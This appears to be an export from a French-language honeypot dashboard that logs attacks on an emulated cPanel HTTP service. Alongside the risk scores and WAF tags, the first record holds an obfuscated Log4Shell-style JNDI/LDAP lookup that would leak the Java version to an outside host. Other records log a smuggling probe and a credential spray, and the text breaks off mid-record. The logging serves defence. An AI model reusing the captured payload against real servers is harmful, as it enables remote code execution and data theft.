"emulator_response": "485454502f312e3120323030204f4b0d0a5365727665723a206370737276642f31312e3131300d0a436f6e74656e742d547970653a20746578742f68746d6c0d0a436f6e74656e742d4c656e6774683a2033380d0a0d0a3c68746d6c3e3c626f64793e6350616e656c204c6f67696e3c2f626f64793e3c2f68746d6c3e",
"emulator_response_len": 125,
"http_header_count": 0,
"http_query_params": 0,
"http_path_depth": 3,
"http_path_ext": "}${4xs:-m}${fp:s:-a}${gv:z6h:ko:-s}${djm:-m}${c",
"http_ua_hash": null,
"http_host_hash": null,
"http_target_hash": "50ea974d48f54801072fc596b38308c4727b4897",
"http_referer_hash": null,
"http_method": "PUT",
"http_ua_is_cli": false,
"http_ua_is_browser": false,
"bytes_in": 1398,
"payload_entropy": 4.727158511485735,
"port_category": "registered",
"org": "Google LLC",
"service": "http",
"app_proto": "http",
"asn": 396982,
"country": "US",
"dst_port": 2083,
"risk_waf": 60,
"risk_classification": 42,
"risk_behavior": 0,
"risk_geo": 40,
"risk_protocol": 43,
"risk_novelty": 25,
"risk_boost": 0,
"risk_granularity": 3.1,
"risk_breakdown": {
"waf": 60,
"classification": 42,
"behavior": 0,
"geo": 40,
"protocol": 43,
"novelty": 25
},
"risk_score": 45,
"tag_count": 6,
"anomaly_count": 0,
"campaign_key": "b6408bab56155d1d3732672c2cca607b613b22a4",
"event_fingerprint": "05999f535aa1d34f675c809a854688b56a42d77a",
"classification_reason": "Type \u00ab port_2083_tcp \u00bb (signaux protocolaires) \u00b7 confiance 50%",
"confidence": 0.68,
"classification_confidence": 0.68,
"precision_score": 70,
"precision_signals": [
"pat-0162"
],
"kb_rule_ids": [
"pat-0162"
],
"matched_patterns": [
"pat-0162"
],
"matched_pattern_names": [
"CRS 933135"
],
"pattern_ids": [
"pat-0162"
],
"confidence_breakdown": {
"waf": 60,
"classification": 42,
"behavior": 0,
"geo": 40,
"protocol": 43,
"novelty": 25,
"risk_score": 45,
"correlation_boost": 18
},
"named_classification_skipped": true,
"named_candidate": "php_injection",
"service_name": "http",
"risk_confidence_factor": 50,
"city": null,
"is_datacenter": true,
"is_tor_hint": false,
"geo": {
"country": "US",
"asn": 396982,
"org": "Google LLC",
"is_datacenter": true,
"is_tor_hint": false
},
"fingerprint": {
"payload_hash": "b5af6301e4ead1875b31ec840b249ecc",
"path_pattern_hash": "171da37fb4cb78e4fea47fca27898ee4"
},
"target_context": {
"dst_port": 2083,
"service": "http",
"service_name": "http",
"risk_score": 45
},
"method": "PUT",
"path": "\/${${g:2jy:rw:-j}${n5e:kfl:-n}${s9:6:1:-d}${pzo:7b5k:-i}${ol:2zf:-:}${jwgp:k6h:-l}${5er:k14:odf:-d}${1:bp:-a}${862:qrgl:-p}${6a:21:sxk:-:}${d:rg7:-\/}${ga4:k08:j:-\/}${7kcd:al2c:-P}${ol:vkr3:9ye:-A}${nko:d:xfyv:-l}${6:2l:nt5j:-0}${kbjx:-c}${cilb:--}${${3i8x:k:-s}${xd9:zr:0w7u:-y}${imds:p:-s}${k4:sp9:l:-:}${m:7:-j}${kz0:-a}${0:-v}${cx:fp80:ga:-a}${x:u:2z:-.}${e:xj:-v}${bp:j:-e}${xdnk:5p:fy4u:-r}${wm:7d:bn2l:-s}${87u1:dfj2:-i}${j:kw:u:-o}${56f:dh:r6:-n}}${5a:-.}${laeh:li1:-e}${a:ca8:-a}${f:l4pj:-5}${f:n4f:-5}${",
"waf_tags": [
"950324:rce-0",
"950468:nosqli-3"
],
"waf_rule_names": [
"rce-0",
"nosqli-3"
],
"request_line": "PUT \/${${g:2jy:rw:-j}${n5e:kfl:-n}${s9:6:1:-d}${pzo:7b5k:-i}${ol:2zf:-:}${jwgp:k6h:-l}${5er:k14:odf:-d}${1:bp:-a}${862:qrgl:-p}${6a:21:sxk:-:}${d:rg7:-\/}${ga4:k08:j:-\/}${7kcd:al2c:-P}${ol:vkr3:9ye:-A}${nko:d:xfyv:-l}${6:2l:nt5j:-0}${kbjx:-c}${cilb:--}${${3i8x:k:-s}${xd9:zr:0w7u:-y}${imds:p:-s}${k4:sp9:l:-:}${m:7:-j}${kz0:-a}${0:-v}${cx:fp80:ga:-a}${x:u:2z:-.}${e:xj:-v}${bp:j:-e}${xdnk:5p:fy4u:-r}${wm:7d:bn2l:-s}${87u1:dfj2:-i}${j:kw:u:-o}${56f:dh:r6:-n}}${5a:-.}${laeh:li1:-e}${a:ca8:-a}${f:l4pj:-5}${f:n4f:-",
"payload_snippet": "PUT \/${${g:2jy:rw:-j}${n5e:kfl:-n}${s9:6:1:-d}${pzo:7b5k:-i}${ol:2zf:-:}${jwgp:k6h:-l}${5er:k14:odf:-d}${1:bp:-a}${862:qrgl:-p}$",
"evidence": {
"method": "PUT",
"path": "\/${${g:2jy:rw:-j}${n5e:kfl:-n}${s9:6:1:-d}${pzo:7b5k:-i}${ol:2zf:-:}${jwgp:k6h:-l}${5er:k14:odf:-d}${1:bp:-a}${862:qrgl:-p}${6a:21:sxk:-:}${d:rg7:-\/}${ga4:k08:j:-\/}${7kcd:al2c:-P}${ol:vkr3:9ye:-A}${nko:d:xfyv:-l}${6:2l:nt5j:-0}${kbjx:-c}${cilb:--}${${3i8x:k:-s}${xd9:zr:0w7u:-y}${imds:p:-s}${k4:sp9:l:-:}${m:7:-j}${kz0:-a}${0:-v}${cx:fp80:ga:-a}${x:u:2z:-.}${e:xj:-v}${bp:j:-e}${xdnk:5p:fy4u:-r}${wm:7d:bn2l:-s}${87u1:dfj2:-i}${j:kw:u:-o}${56f:dh:r6:-n}}${5a:-.}${laeh:li1:-e}${a:ca8:-a}${f:l4pj:-5}${f:n4f:-5}${",
"waf_tags": [
"950324:rce-0",
"950468:nosqli-3"
],
"waf_rule_names": [
"rce-0",
"nosqli-3"
],
"request_line": "PUT \/${${g:2jy:rw:-j}${n5e:kfl:-n}${s9:6:1:-d}${pzo:7b5k:-i}${ol:2zf:-:}${jwgp:k6h:-l}${5er:k14:odf:-d}${1:bp:-a}${862:qrgl:-p}${6a:21:sxk:-:}${d:rg7:-\/}${ga4:k08:j:-\/}${7kcd:al2c:-P}${ol:vkr3:9ye:-A}${nko:d:xfyv:-l}${6:2l:nt5j:-0}${kbjx:-c}${cilb:--}${${3i8x:k:-s}${xd9:zr:0w7u:-y}${imds:p:-s}${k4:sp9:l:-:}${m:7:-j}${kz0:-a}${0:-v}${cx:fp80:ga:-a}${x:u:2z:-.}${e:xj:-v}${bp:j:-e}${xdnk:5p:fy4u:-r}${wm:7d:bn2l:-s}${87u1:dfj2:-i}${j:kw:u:-o}${56f:dh:r6:-n}}${5a:-.}${laeh:li1:-e}${a:ca8:-a}${f:l4pj:-5}${f:n4f:-",
"request_sample": "PUT \/${${g:2jy:rw:-j}${n5e:kfl:-n}${s9:6:1:-d}${pzo:7b5k:-i}${ol:2zf:-:}${jwgp:k6h:-l}${5er:k14:odf:-d}${1:bp:-a}${862:qrgl:-p}${6a:21:sxk:-:}${d:rg7:-\/}${ga4:k08:j:-\/}${7kcd:al2c:-P}${ol:vkr3:9ye:-A}${nko:d:xfyv:-l}${6:2l:nt5j:-0}${kbjx:-c}${cilb:--}${${3",
"payload_snippet": "PUT \/${${g:2jy:rw:-j}${n5e:kfl:-n}${s9:6:1:-d}${pzo:7b5k:-i}${ol:2zf:-:}${jwgp:k6h:-l}${5er:k14:odf:-d}${1:bp:-a}${862:qrgl:-p}$",
"classification_reason": "Type \u00ab port_2083_tcp \u00bb (signaux protocolaires) \u00b7 confiance 50%"
},
"attack_stage": "probe",
"mitre_tactics": [
"TA0007",
"TA0001"
],
"mitre": "TA0007",
"threat_family": [
"unknown"
],
"recommended_client_action": "monitor",
"policy_mode": "intelligence",
"sensor_role": "threat_intelligence",
"event_signature": "143df01962f6a1a9c12ebe1c716276c2679f28be",
"protocol_details": {
"http_method": "PUT",
"http_path": "\/${${g:2jy:rw:-j}${n5e:kfl:-n}${s9:6:1:-d}${pzo:7b5k:-i}${ol:2zf:-:}${jwgp:k6h:-l}${5er:k14:odf:-d}${1:bp:-a}${862:qrgl:-p}${6a:21:sxk:-:}${d:rg7:-\/}${ga4:k08:\u2026",
"request_line": "PUT \/${${g:2jy:rw:-j}${n5e:kfl:-n}${s9:6:1:-d}${pzo:7b5k:-i}${ol:2zf:-:}${jwgp:k6h:-l}${5er:k14:odf:-d}${1:bp:-a}${862:qrgl:-p}${6a:21:sxk:-:}${d:rg7:-\/}${ga4:k08:j:-\/}${7kcd:al2c:-P}${ol:vkr3:9ye:-A\u2026",
"port": 2083,
"service": "http",
"service_label_fr": "HTTP"
},
"evidence_snippet": "PUT \/${${g:2jy:rw:-j}${n5e:kfl:-n}${s9:6:1:-d}${pzo:7b5k:-i}${ol:2zf:-:}${jwgp:k6h:-l}${5er:k14:odf:-d}${1:bp:-a}${862:qrgl:-p}$",
"attack_vector": "port 2083 tcp \u00b7 via HTTP:2083 \u00b7 (sonde \/ probe) \u00b7 \u2192 \/${${g:2jy:rw:-j}${n5e:kfl:-n}${s9:6:1:-d}${pzo\u2026",
"target_port_label": "2083 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 50 % \u2014 Motif catalogue confirm\u00e9 \u00b7 Classification nomm\u00e9e non retenue \u2014 preuves insuffisantes \u00b7 2 tag(s) WAF",
"site_display": {
"classification": null,
"classification_reason": "Type \u00ab port_2083_tcp \u00bb (signaux protocolaires) \u00b7 confiance 50%",
"classification_reason_label_fr": "Type \u00ab port_2083_tcp \u00bb (signaux protocolaires) \u00b7 confiance 50%",
"executive_one_liner_fr": "Activit\u00e9 suspecte \u00b7 risque 45\/100",
"confidence_pct": 68,
"confidence_breakdown": {
"waf": 60,
"classification": 42,
"behavior": 0,
"geo": 40,
"protocol": 43,
"novelty": 25,
"risk_score": 45,
"correlation_boost": 18
},
"attack_stage": "probe",
"attack_stage_label": "Sonde \/ probe",
"attack_chain_stage": "reconnaissance",
"attack_chain_stage_label_fr": "Reconnaissance",
"risk_score": 45,
"risk_label": "Moyen",
"service_name": "http",
"service_label_fr": "HTTP",
"dst_port": 2083,
"protocol_emulated": true,
"tags_summary": [
"pat-0162"
],
"tags_summary_labels_fr": [
"pat-0162"
],
"recommended_action": "monitor",
"recommended_action_label": "Surveiller",
"mitre": "TA0007",
"mitre_technique": "TA0007",
"persona_hostname": "mail.sensor-1.internal",
"persona_service_banner": "honeypot-http",
"correlation_flags": [
"scan_coordonn\u00e9",
"multi_protocol_correlation"
],
"correlation_flags_labels_fr": [
"Scan coordonn\u00e9",
"Multi-protocole corr\u00e9l\u00e9 (5 min)"
],
"sensor_role": "threat_intelligence",
"sensor_role_label_fr": "Renseignement menaces",
"confidence_hint_fr": "Corr\u00e9lation +18",
"protocol_details": {
"http_method": "PUT",
"http_path": "\/${${g:2jy:rw:-j}${n5e:kfl:-n}${s9:6:1:-d}${pzo:7b5k:-i}${ol:2zf:-:}${jwgp:k6h:-l}${5er:k14:odf:-d}${1:bp:-a}${862:qrgl:-p}${6a:21:sxk:-:}${d:rg7:-\/}${ga4:k08:\u2026",
"request_line": "PUT \/${${g:2jy:rw:-j}${n5e:kfl:-n}${s9:6:1:-d}${pzo:7b5k:-i}${ol:2zf:-:}${jwgp:k6h:-l}${5er:k14:odf:-d}${1:bp:-a}${862:qrgl:-p}${6a:21:sxk:-:}${d:rg7:-\/}${ga4:k08:j:-\/}${7kcd:al2c:-P}${ol:vkr3:9ye:-A\u2026",
"port": 2083,
"service": "http",
"service_label_fr": "HTTP"
},
"attack_vector": "port 2083 tcp \u00b7 via HTTP:2083 \u00b7 (sonde \/ probe) \u00b7 \u2192 \/${${g:2jy:rw:-j}${n5e:kfl:-n}${s9:6:1:-d}${pzo\u2026",
"evidence_snippet": "PUT \/${${g:2jy:rw:-j}${n5e:kfl:-n}${s9:6:1:-d}${pzo:7b5k:-i}${ol:2zf:-:}${jwgp:k6h:-l}${5er:k14:odf:-d}${1:bp:-a}${862:qrgl:-p}$",
"target_port_label": "2083 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 50 % \u2014 Motif catalogue confirm\u00e9 \u00b7 Classification nomm\u00e9e non retenue \u2014 preuves insuffisantes \u00b7 2 tag(s) WAF",
"confidence_factors_fr": "Confiance 68 % \u2014 Score WAF 60 \u00b7 Bonus corr\u00e9lation +18 \u00b7 2 tag(s) WAF",
"campaign_hint_fr": "Campagne de scan \u2014 plusieurs IP du m\u00eame \/24 (34.19.127.0\/24, \u22653 pairs)",
"attack_phases_timeline_fr": [
{
"key": "recon",
"label_fr": "Reconnaissance",
"active": false,
"kind": "stage"
},
{
"key": "probe",
"label_fr": "Sonde \/ probe",
"active": true,
"kind": "stage"
},
{
"key": "exploit_attempt",
"label_fr": "Tentative d'exploit",
"active": false,
"kind": "stage"
},
{
"key": "post_exploit",
"label_fr": "Post-exploitation",
"active": false,
"kind": "stage"
},
{
"key": "c2",
"label_fr": "Commande & contr\u00f4le",
"active": false,
"kind": "stage"
},
{
"key": "reconnaissance",
"label_fr": "Reconnaissance",
"active": true,
"kind": "chain",
"hint_fr": null
}
]
},
"meta_truncated": true,
"honeypot_persona": {
"sensor_id": "sensor-1",
"hostname": "mail.sensor-1.internal",
"mail_host": "mail.sensor-1.internal",
"ldap_dc": "dc.sensor-1.internal",
"k8s_cluster": "hp-sensor-1",
"domain": "sensor-1.internal",
"service_role": "http",
"service_banner": "honeypot-http",
"service_os": "linux",
"dst_port": "2083"
},
"hostname": "mail.sensor-1.internal",
"sensor_id": "sensor-1",
"multi_protocol_correlation": true,
"multi_protocol_count": 3,
"multi_protocol_sample": [
"cpanel-ssl",
"http",
"node-http"
],
"multi_protocol_window_s": 300,
"coordinated_scan": true,
"coordinated_subnet": "34.19.127.0\/24",
"coordinated_ip_count": 12,
"behavior_alerts": [
"coordinated_scan",
"multi_protocol_correlation"
],
"correlation_confidence_boost": 18,
"attack_chain_stage": "reconnaissance",
"ban_policy": "advisory_monitor",
"tags_list": [
"950324:rce-0",
"950468:nosqli-3",
"http_dangerous_method",
"http_no_ua",
"net_slowloris",
"net_web_probe"
],
"asn_dc_heuristic": true
}
30/07/2026 18:41:08 UTC
TCP
2083 · HTTP
Sonde HTTP smuggling
http smuggling probe · via HTTP:2083 · (tentative d'exploit) · → /login
Élevée
Élevé · 67
Détails
Voir
Étape
Tentative d'exploit
Chaîne
Reconnaissance
Persona
mail.sensor-1.internal
Rôle capteur
Renseignement menaces
Corrélations
Scan coordonné
Multi-protocole corrélé (5 min)
MITRE
TA0001
TA0001
TA0002
Protocole
POST /login UA Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537…
Émulateur
HTTP
WAF
26
Recommandation
Investiguer
Tags
950326:rce-0
950327:rce-0
950470:nosqli-3
950471:nosqli-3
Cible HTTP
POST
/login
TLS SNI
—
Capteur
paris-1
Méthode
POST
Port
2083
Chemin / cible
/login
Pourquoi cette classification : Type « http_smuggling_probe » (signaux protocolaires) · confiance 95%
Confiance classification
100%
Corrélation +18
Risque capteur
Élevé
· 67
Confiance : Confiance 95 % — Motif catalogue confirmé · 4 tag(s) WAF
Protocole émulé
1 Signaux
pat-0842
Technique MITRE
TA0001
Tactiques MITRE
TA0001
TA0002
Motifs de détection (base)
CRS 921130 duplicate CL
SSRF Any-address SSRF
Ligne de requête
POST /login HTTP/1.1
User-Agent
Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36
Règles WAF
rce-0
nosqli-3
Payload (extrait)
POST /login HTTP/1.1
Host: 62.3.50.33:2083
Accept: */*
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKi
Requête brute (extrait)
POST /login HTTP/1.1 Host: 62.3.50.33:2083 Accept: */* User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36 Content-Length: 2968 Content-Type: application/x-www-form-urlencod
Meta JSON brut
{
"protocol_emulated": true,
"emulator_response": "485454502f312e3120323030204f4b0d0a5365727665723a206370737276642f31312e3131300d0a436f6e74656e742d547970653a20746578742f68746d6c0d0a436f6e74656e742d4c656e6774683a2033380d0a0d0a3c68746d6c3e3c626f64793e6350616e656c204c6f67696e3c2f626f64793e3c2f68746d6c3e",
"emulator_response_len": 125,
"http_header_count": 5,
"http_query_params": 0,
"http_path_depth": 1,
"http_path_ext": null,
"http_ua_hash": "9468a4a53a2f2fd9ea96db22dc9dd9bb6ce38b7c",
"http_host_hash": "ea42ecbc54c9c495a92c7dd11f2463e9f5b9ede0",
"http_target_hash": "c42c80aa06113268fddf90dfdc871fb7318ff5cf",
"http_referer_hash": null,
"http_method": "POST",
"http_ua_is_cli": false,
"http_ua_is_browser": true,
"bytes_in": 2796,
"payload_entropy": 4.598237757701151,
"port_category": "registered",
"org": "Google LLC",
"service": "http",
"app_proto": "http",
"asn": 396982,
"country": "US",
"dst_port": 2083,
"risk_waf": 100,
"risk_classification": 85,
"risk_behavior": 0,
"risk_geo": 40,
"risk_protocol": 43,
"risk_novelty": 25,
"risk_boost": 0,
"risk_granularity": 3.1,
"risk_breakdown": {
"waf": 100,
"classification": 85,
"behavior": 0,
"geo": 40,
"protocol": 43,
"novelty": 25
},
"risk_score": 67,
"tag_count": 6,
"anomaly_count": 0,
"campaign_key": "6f0b84425422b6ef00498dbcb52be52c981fce92",
"event_fingerprint": "61e60889b41e4ab16c206776662bbd913e73f759",
"classification_reason": "Type \u00ab http_smuggling_probe \u00bb (signaux protocolaires) \u00b7 confiance 95%",
"confidence": 1,
"classification_confidence": 1,
"precision_score": 84,
"precision_signals": [
"pat-0842"
],
"kb_rule_ids": [
"pat-0842"
],
"matched_patterns": [
"pat-0842",
"pat-0324"
],
"matched_pattern_names": [
"CRS 921130 duplicate CL",
"SSRF Any-address SSRF"
],
"pattern_ids": [
"pat-0842",
"pat-0324"
],
"confidence_breakdown": {
"waf": 100,
"classification": 85,
"behavior": 0,
"geo": 40,
"protocol": 43,
"novelty": 25,
"risk_score": 67,
"correlation_boost": 18
},
"named_classification_skipped": false,
"service_name": "http",
"risk_confidence_factor": 95,
"city": null,
"is_datacenter": true,
"is_tor_hint": false,
"geo": {
"country": "US",
"asn": 396982,
"org": "Google LLC",
"is_datacenter": true,
"is_tor_hint": false
},
"fingerprint": {
"http_ua_hash": "2994862c1f8176879ed381354c9dd245",
"payload_hash": "6149ae9f70b9591eb4eac706bc7380ab",
"path_pattern_hash": "7e93fba0bc7adda858a2500090e639e4"
},
"target_context": {
"dst_port": 2083,
"service": "http",
"service_name": "http",
"risk_score": 67
},
"payload_preview": "POST \/login HTTP\/1.1\r\nHost: 62.3.50.33:2083\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKi",
"method": "POST",
"path": "\/login",
"user_agent": "Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36",
"waf_tags": [
"950326:rce-0",
"950327:rce-0",
"950470:nosqli-3",
"950471:nosqli-3"
],
"waf_rule_names": [
"rce-0",
"nosqli-3"
],
"request_line": "POST \/login HTTP\/1.1",
"request_sample": "POST \/login HTTP\/1.1\r\nHost: 62.3.50.33:2083\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36\r\nContent-Length: 2968\r\nContent-Type: application\/x-www-form-urlencod",
"payload_snippet": "POST \/login HTTP\/1.1\r\nHost: 62.3.50.33:2083\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKi",
"evidence": {
"method": "POST",
"path": "\/login",
"user_agent": "Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36",
"waf_tags": [
"950326:rce-0",
"950327:rce-0",
"950470:nosqli-3",
"950471:nosqli-3"
],
"waf_rule_names": [
"rce-0",
"nosqli-3"
],
"request_line": "POST \/login HTTP\/1.1",
"request_sample": "POST \/login HTTP\/1.1\r\nHost: 62.3.50.33:2083\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36\r\nContent-Length: 2968\r\nContent-Type: application\/x-www-form-urlencod",
"payload_snippet": "POST \/login HTTP\/1.1\r\nHost: 62.3.50.33:2083\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKi",
"classification_reason": "Type \u00ab http_smuggling_probe \u00bb (signaux protocolaires) \u00b7 confiance 95%"
},
"attack_stage": "exploit_attempt",
"mitre_tactics": [
"TA0001",
"TA0002"
],
"mitre": "TA0001",
"threat_family": [
"web_injection"
],
"recommended_client_action": "investigate",
"policy_mode": "intelligence",
"sensor_role": "threat_intelligence",
"event_signature": "115a0946a1cbf5698119d2ca9065ff0c8e45f82e",
"protocol_details": {
"http_method": "POST",
"http_path": "\/login",
"request_line": "POST \/login HTTP\/1.1",
"http_user_agent": "Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36",
"port": 2083,
"service": "http",
"service_label_fr": "HTTP"
},
"evidence_snippet": "POST \/login HTTP\/1.1\r\nHost: 62.3.50.33:2083\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKi",
"attack_vector": "http smuggling probe \u00b7 via HTTP:2083 \u00b7 (tentative d'exploit) \u00b7 \u2192 \/login",
"target_port_label": "2083 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 95 % \u2014 Motif catalogue confirm\u00e9 \u00b7 4 tag(s) WAF",
"site_display": {
"classification": null,
"classification_reason": "Type \u00ab http_smuggling_probe \u00bb (signaux protocolaires) \u00b7 confiance 95%",
"classification_reason_label_fr": "Type \u00ab http_smuggling_probe \u00bb (signaux protocolaires) \u00b7 confiance 95%",
"executive_one_liner_fr": "Activit\u00e9 suspecte \u2014 risque 67\/100 (\u00c9lev\u00e9) \u2014 MITRE TA0001 \u2014 confiance 100 % \u2014 via HTTP \u2014 multi-protocole (3 protocoles \u00b7 5 min)",
"confidence_pct": 100,
"confidence_breakdown": {
"waf": 100,
"classification": 85,
"behavior": 0,
"geo": 40,
"protocol": 43,
"novelty": 25,
"risk_score": 67,
"correlation_boost": 18
},
"attack_stage": "exploit_attempt",
"attack_stage_label": "Tentative d'exploit",
"attack_chain_stage": "reconnaissance",
"attack_chain_stage_label_fr": "Reconnaissance",
"risk_score": 67,
"risk_label": "\u00c9lev\u00e9",
"service_name": "http",
"service_label_fr": "HTTP",
"dst_port": 2083,
"protocol_emulated": true,
"tags_summary": [
"pat-0842"
],
"tags_summary_labels_fr": [
"pat-0842"
],
"recommended_action": "investigate",
"recommended_action_label": "Investiguer",
"mitre": "TA0001",
"mitre_technique": "TA0001",
"persona_hostname": "mail.sensor-1.internal",
"persona_service_banner": "honeypot-http",
"correlation_flags": [
"scan_coordonn\u00e9",
"multi_protocol_correlation"
],
"correlation_flags_labels_fr": [
"Scan coordonn\u00e9",
"Multi-protocole corr\u00e9l\u00e9 (5 min)"
],
"sensor_role": "threat_intelligence",
"sensor_role_label_fr": "Renseignement menaces",
"confidence_hint_fr": "Corr\u00e9lation +18",
"protocol_details": {
"http_method": "POST",
"http_path": "\/login",
"request_line": "POST \/login HTTP\/1.1",
"http_user_agent": "Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36",
"port": 2083,
"service": "http",
"service_label_fr": "HTTP"
},
"attack_vector": "http smuggling probe \u00b7 via HTTP:2083 \u00b7 (tentative d'exploit) \u00b7 \u2192 \/login",
"evidence_snippet": "POST \/login HTTP\/1.1\r\nHost: 62.3.50.33:2083\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKi",
"target_port_label": "2083 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 95 % \u2014 Motif catalogue confirm\u00e9 \u00b7 4 tag(s) WAF",
"confidence_factors_fr": "Confiance 100 % \u2014 Score WAF 100 \u00b7 Bonus corr\u00e9lation +18 \u00b7 4 tag(s) WAF",
"campaign_hint_fr": "Campagne de scan \u2014 plusieurs IP du m\u00eame \/24 (34.19.127.0\/24, \u22653 pairs)",
"attack_phases_timeline_fr": [
{
"key": "recon",
"label_fr": "Reconnaissance",
"active": false,
"kind": "stage"
},
{
"key": "probe",
"label_fr": "Sonde \/ probe",
"active": false,
"kind": "stage"
},
{
"key": "exploit_attempt",
"label_fr": "Tentative d'exploit",
"active": true,
"kind": "stage"
},
{
"key": "post_exploit",
"label_fr": "Post-exploitation",
"active": false,
"kind": "stage"
},
{
"key": "c2",
"label_fr": "Commande & contr\u00f4le",
"active": false,
"kind": "stage"
},
{
"key": "reconnaissance",
"label_fr": "Reconnaissance",
"active": true,
"kind": "chain",
"hint_fr": null
}
]
},
"honeypot_persona": {
"sensor_id": "sensor-1",
"hostname": "mail.sensor-1.internal",
"mail_host": "mail.sensor-1.internal",
"ldap_dc": "dc.sensor-1.internal",
"k8s_cluster": "hp-sensor-1",
"domain": "sensor-1.internal",
"service_role": "http",
"service_banner": "honeypot-http",
"service_os": "linux",
"dst_port": "2083"
},
"hostname": "mail.sensor-1.internal",
"sensor_id": "sensor-1",
"multi_protocol_correlation": true,
"multi_protocol_count": 3,
"multi_protocol_sample": [
"cpanel-ssl",
"http",
"node-http"
],
"multi_protocol_window_s": 300,
"coordinated_scan": true,
"coordinated_subnet": "34.19.127.0\/24",
"coordinated_ip_count": 12,
"behavior_alerts": [
"coordinated_scan",
"multi_protocol_correlation"
],
"correlation_confidence_boost": 18,
"attack_chain_stage": "reconnaissance",
"ban_policy": "advisory_investigate",
"tags_list": [
"950326:rce-0",
"950327:rce-0",
"950470:nosqli-3",
"950471:nosqli-3",
"http_probe_login",
"net_web_probe"
],
"asn_dc_heuristic": true
}
30/07/2026 18:41:08 UTC
TCP
2083 · HTTP
Spray credentials
bruteforce credential spray · via HTTP:2083 · (sonde / probe) · → /login
Élevée
Élevé · 68
Détails
Voir
Étape
Sonde / probe
Chaîne
Reconnaissance
Persona
mail.sensor-1.internal
Rôle capteur
Renseignement menaces
Corrélations
Scan coordonné
Multi-protocole corrélé (5 min)
MITRE
T1078
TA0007
TA0001
Protocole
POST /login UA Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537…
Émulateur
HTTP
WAF
26
Recommandation
Investiguer
Tags
950326:rce-0
950327:rce-0
950470:nosqli-3
950471:nosqli-3
Cible HTTP
POST
/login
TLS SNI
—
Capteur
paris-1
Méthode
POST
Port
2083
Chemin / cible
/login
Pourquoi cette classification : Type « bruteforce_credential_spray » (signaux protocolaires) · confiance 100%
Confiance classification
100%
Corrélation +18
Risque capteur
Élevé
· 68
Confiance : Confiance 100 % — 4 tag(s) WAF
Protocole émulé
1 Signaux
MITRE-T1078
Beh Cred Stuff
Tactiques MITRE
TA0007
TA0001
Motifs de détection (base)
CRS 921130 duplicate CL
SSRF Any-address SSRF
Ligne de requête
POST /login HTTP/1.1
User-Agent
Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36
Règles WAF
rce-0
nosqli-3
Payload (extrait)
POST /login HTTP/1.1
Host: 62.3.50.33:2083
Accept: */*
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKi
Requête brute (extrait)
POST /login HTTP/1.1 Host: 62.3.50.33:2083 Accept: */* User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36 Content-Type: application/json Content-Length: 1560 {"username"
Meta JSON brut
{
"protocol_emulated": true,
"emulator_response": "485454502f312e3120323030204f4b0d0a5365727665723a206370737276642f31312e3131300d0a436f6e74656e742d547970653a20746578742f68746d6c0d0a436f6e74656e742d4c656e6774683a2033380d0a0d0a3c68746d6c3e3c626f64793e6350616e656c204c6f67696e3c2f626f64793e3c2f68746d6c3e",
"emulator_response_len": 125,
"http_header_count": 5,
"http_query_params": 0,
"http_path_depth": 1,
"http_path_ext": null,
"http_ua_hash": "9468a4a53a2f2fd9ea96db22dc9dd9bb6ce38b7c",
"http_host_hash": "ea42ecbc54c9c495a92c7dd11f2463e9f5b9ede0",
"http_target_hash": "c42c80aa06113268fddf90dfdc871fb7318ff5cf",
"http_referer_hash": null,
"http_method": "POST",
"http_ua_is_cli": false,
"http_ua_is_browser": true,
"bytes_in": 1805,
"payload_entropy": 5.100506945506975,
"port_category": "registered",
"org": "Google LLC",
"service": "http",
"app_proto": "http",
"asn": 396982,
"country": "US",
"dst_port": 2083,
"risk_waf": 100,
"risk_classification": 78,
"risk_behavior": 0,
"risk_geo": 40,
"risk_protocol": 43,
"risk_novelty": 25,
"risk_boost": 0,
"risk_granularity": 3.8,
"risk_breakdown": {
"waf": 100,
"classification": 78,
"behavior": 0,
"geo": 40,
"protocol": 43,
